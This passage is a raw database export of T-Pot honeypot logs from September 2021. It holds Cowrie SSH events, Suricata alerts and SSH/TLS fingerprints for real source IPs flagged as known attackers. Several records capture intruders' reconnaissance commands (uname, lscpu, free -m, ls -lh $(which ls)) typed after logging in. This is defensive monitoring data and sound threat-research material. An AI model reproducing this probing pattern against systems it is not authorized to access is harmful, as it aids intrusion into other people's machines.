"ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43150, "dest_port": 22, "timestamp": "2021-09-20T11:23:36.401390", "@timestamp": "2021-09-20T11:23:36.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29186	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:23:37.644999+03	2021-09-20 14:30:03.806569+03	{"_id": "yAbyAnwBvYTbRNuEejNC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35148, "timestamp": "2021-09-20T11:23:37.644999", "@timestamp": "2021-09-20T11:23:37.644Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29187	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:37.36143+03	2021-09-20 14:30:03.807554+03	{"_id": "1QbyAnwBvYTbRNuEezNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "1.117.219.217", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5135102272033691, "duplicate": true, "timestamp": "2021-09-20T11:23:37.361430Z", "@timestamp": "2021-09-20T11:23:37.361Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29188	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:37.723545+03	2021-09-20 14:30:03.808553+03	{"_id": "1gbyAnwBvYTbRNuEezNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:37.723545Z", "@timestamp": "2021-09-20T11:23:37.723Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
30089	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:09.402601+03	2021-09-20 14:45:02.555142+03	{"_id": "RAb6AnwBvYTbRNuESjoE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:09.402601Z", "@timestamp": "2021-09-20T11:32:09.402Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29189	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:23:37.895773+03	2021-09-20 14:30:03.810553+03	{"_id": "1wbyAnwBvYTbRNuEezNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "a001dced7dcf", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:23:37.895773Z", "@timestamp": "2021-09-20T11:23:37.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
29190	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:23:38.007609+03	2021-09-20 14:30:03.811554+03	{"_id": "2AbyAnwBvYTbRNuEezNB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c767b30d40da", "@version": "1", "duration": 2.863741636276245, "timestamp": "2021-09-20T11:23:38.007609Z", "@timestamp": "2021-09-20T11:23:38.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
29191	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:23:37.86127+03	2021-09-20 14:30:03.812554+03	{"_id": "2gbyAnwBvYTbRNuEfDP1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 51694, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1004515259655254, "@version": "1", "in_iface": "enp5s0", "src_port": 49583, "dest_port": 53, "timestamp": "2021-09-20T11:23:37.861270Z", "@timestamp": "2021-09-20T11:23:37.861Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29192	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:38.236695+03	2021-09-20 14:30:03.813551+03	{"_id": "4wbyAnwBvYTbRNuEfzMr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "1.117.219.217", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5137724876403809, "duplicate": true, "timestamp": "2021-09-20T11:23:38.236695Z", "@timestamp": "2021-09-20T11:23:38.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29193	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:38.611271+03	2021-09-20 14:30:03.814553+03	{"_id": "5AbyAnwBvYTbRNuEfzMr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:38.611271Z", "@timestamp": "2021-09-20T11:23:38.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29194	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:38.611817+03	2021-09-20 14:30:03.816554+03	{"_id": "5QbyAnwBvYTbRNuEfzMr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:38.611817Z", "@timestamp": "2021-09-20T11:23:38.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29195	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:39.124561+03	2021-09-20 14:30:03.817558+03	{"_id": "5gbyAnwBvYTbRNuEgzMT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "1.117.219.217", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5133752822875977, "duplicate": true, "timestamp": "2021-09-20T11:23:39.124561Z", "@timestamp": "2021-09-20T11:23:39.124Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29196	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:31.554167+03	2021-09-20 14:30:03.818554+03	{"_id": "jwbyAnwBvYTbRNuEYzPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:31.554167Z", "@timestamp": "2021-09-20T11:23:31.554Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29197	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:32.441432+03	2021-09-20 14:30:03.820554+03	{"_id": "kwbyAnwBvYTbRNuEZzO1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:32.441432Z", "@timestamp": "2021-09-20T11:23:32.441Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29198	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:33.868622+03	2021-09-20 14:30:03.821554+03	{"_id": "mQbyAnwBvYTbRNuEazOe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "1.117.219.217", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5118863582611084, "duplicate": true, "timestamp": "2021-09-20T11:23:33.868622Z", "@timestamp": "2021-09-20T11:23:33.868Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29199	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:33.357352+03	2021-09-20 14:30:03.822555+03	{"_id": "lwbyAnwBvYTbRNuEazOe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:33.357352Z", "@timestamp": "2021-09-20T11:23:33.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29200	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:33.357845+03	2021-09-20 14:30:03.824541+03	{"_id": "mAbyAnwBvYTbRNuEazOe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:33.357845Z", "@timestamp": "2021-09-20T11:23:33.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29201	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:23:34.762304+03	2021-09-20 14:30:03.825557+03	{"_id": "owbyAnwBvYTbRNuEcTM9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:22:03.998264+0000", "pkts_toclient": 18, "pkts_toserver": 20, "bytes_toclient": 2995, "bytes_toserver": 3484}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 69713474042744, "payload": "", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51768, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:23:34.762304Z", "@timestamp": "2021-09-20T11:23:34.762Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
29202	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:23:35.144458+03	2021-09-20 14:30:03.826553+03	{"_id": "pQbyAnwBvYTbRNuEcjNx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42772, "timestamp": "2021-09-20T11:23:35.144458", "@timestamp": "2021-09-20T11:23:35.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29203	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:30.268745+03	2021-09-20 14:30:03.827557+03	{"_id": "iwbyAnwBvYTbRNuEXzPk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "1.117.219.217", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "db2b50a9c8db", "@version": "1", "duration": 0.5127215385437012, "duplicate": true, "timestamp": "2021-09-20T11:23:30.268745Z", "@timestamp": "2021-09-20T11:23:30.268Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
29204	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:30.668714+03	2021-09-20 14:30:03.828553+03	{"_id": "jAbyAnwBvYTbRNuEXzPk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.session.params", "message": [], "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:30.668714Z", "@timestamp": "2021-09-20T11:23:30.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
29205	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:23:30.669249+03	2021-09-20 14:30:03.829551+03	{"_id": "jQbyAnwBvYTbRNuEXzPk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "db2b50a9c8db", "@version": "1", "timestamp": "2021-09-20T11:23:30.669249Z", "@timestamp": "2021-09-20T11:23:30.669Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	